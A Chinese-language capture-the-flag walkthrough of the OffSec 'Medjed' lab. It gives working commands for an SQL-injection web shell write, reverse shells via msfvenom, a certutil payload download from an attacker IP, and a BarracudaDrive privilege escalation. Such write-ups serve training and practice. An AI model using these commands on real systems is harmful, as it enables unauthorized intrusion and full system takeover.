本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Medjed
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界:
方法一: HTTP 33033 后台用户密码重置(页面用户信息) –> 根据 HTTP 45332 phpinfo 和 HTTP 33033 后台 SQL 注入写入一句话木马 –> jerren 用户权限 –> 用户旗帜
方法二: BarracudaDrive 后台文件管理上传反弹 shell –> jerren 用户权限 –> 用户旗帜
权限提升:
BarracudaDrive 本地提权(不安全的文件权限) –> 系统 system 权限 –> 管理员为旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sudo nmap -p- 192.168.139.127 --min-rate=2000 PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 5040/tcp open unknown 7680/tcp open pando-pub 8000/tcp open http-alt 30021/tcp open unknown 33033/tcp open unknown 44330/tcp open unknown 45332/tcp open unknown 45443/tcp open unknown 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 udo nmap -p135,139,445,3306,5040,7680,8000,30021,33033,44330,45332,45443,49664,49665,49666,49667,49668,49669 -sCV 192.168.139.127 PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized) 5040/tcp open unknown 7680/tcp closed pando-pub 8000/tcp open http-alt BarracudaServer.com (Windows) |_http-open-proxy: Proxy might be redirecting requests ...snip... 30021/tcp open ftp FileZilla ftpd 0.9.41 beta | ftp-anon: Anonymous FTP login allowed (FTP code 230) ...snip... 33033/tcp open unknown | fingerprint-strings: | GenericLines: | HTTP/1.1 400 Bad Request | GetRequest, HTTPOptions: | HTTP/1.0 403 Forbidden ...snip... 45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 ) | http-methods: |_ Potentially risky methods: TRACE |_http-title: Quiz App |_http-server-header: Apache/2.4 .46 (Win64) OpenSSL/1.1 .1 g PHP/7.3 .23 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025 -09 -18 T14:25 :37 |_ start_date: N/A | smb2-security-mode: | 3 :1 :1 : |_ Message signing enabled but not required |_clock-skew: mean: -2 s, deviation: 0 s, median: -2 s
系统为 Windows 环境,开放有 HTTP、MYSQL、FTP 和 Windows 的一些默认服务。
3.2 渗透测试突破边界 3.2.1 SQL 注入写入 web shell(方法一) 靶机 FTP 存在匿名访问,可使用 curlftpfs 工具将其挂在至 kali,检索目录未发现有价值信息。
1 sudo curlftpfs -o codepage=utf-8 ftp://anonymous:anonymous@192.168.139.127:30021 /mnt
依次访问靶机 HTTP 服务,可得到 3 个 web 页面。
目录枚举过程中,在 HTTP 45332 可得到 phpinfo 信息,没有其他有价值发现。
HTTP 8000 端口部署了 BarracudaDrive v6.5 应用,使用 searchsploit 检索发现历史存在本地提权漏洞,先搁浅。
HTTP 33033 存在登录接口,可通过用户提示符重置用户密码。
Web 主页泄漏了人员姓名和描述信息。
根据人员姓名和描述信息尝试重置用户密码,最终可通过 jerren.devops\paranoid 重置 jerren.devops 用户密码。
靶机的登录和重置密码接口,无论成功与失败在响应包均会跳转至登录页面,这也导致使用 hydra 或 ffuf 工具枚举爆破没办法指定判断条件,但是仍可利用 fuff 工具进行模糊测试,通过 cewl 收集主页字符串作为提示符密码本,然后使用 ffuf 进行用户重置密码,最后逐个用户名尝试登录。
使用 jerren.devops 用户登录后台,点击 edit - request profile slug。
在接口输入 1' 发现服务器返回 SQL 语法错误,而输入 1' or 1=1# 时返回正常,由此判断大概率存在 SQL 注入。
通过 union 联合注入配合之前的 phpinfo 信息,可尝试写入一句话木马。
首先判断列数为 1。
1 2 1' order by 2# 1' order by 1#
写入一句话木马。
1 1' union select "<?php echo system($_GET[' cmd']);?>" into outfile "C:\\xampp\\htdocs\\cmd.php"#
利用写入的木马执行 whoami。
接下来只需要上传 nc 或者 exe 的反弹 shell,即可得到 jerren 用户 shell。
3.2.2 BarracudaDrive 后台写入 web shell(方法二) 当我们访问 BarracudaDrive cms admin 时,系统会让我们自己设置后台用户名和密码。
设置成功后,系统会自动进入后台页面,点击 web-file-server 发现 fs 目录具有读写权限,fs 目录包含靶机全部文件信息,甚至可在靶机读取写入任意文件。
找到 phpinfo 文件所在目录,然后上传 php reverse shell,得到靶机 jerren 用户权限。
1 2 rlwrap nc -lvnp 8000 https://www.revshells.com/
3.2.3 用户旗帜获取
3.3 提权获取系统管理员权限 3.3.1 BarracudaDrive 不安全目录提权至系统 system BarracudaDrive v6.5 存在本地提权漏洞,利用该漏洞可提升至靶机 system 权限。
参考链接:
1 https://www.exploit-db.com/exploits/48789
使用 msfvenom 生成 exe 格式的反弹 shell,然后将靶机 bd.exe 替换为反弹 shell,注意: 先将原文件重命名再进行替换。
1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.227 LPORT=8000 -f exe -o bd.exe
1 certutil -urlcache -split -f http://192.168.45.227/bd.exe
使用 msf handler 监听本地 8000 端口,在靶机执行重启命令,等待系统重启完成,得到系统 system 权限。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨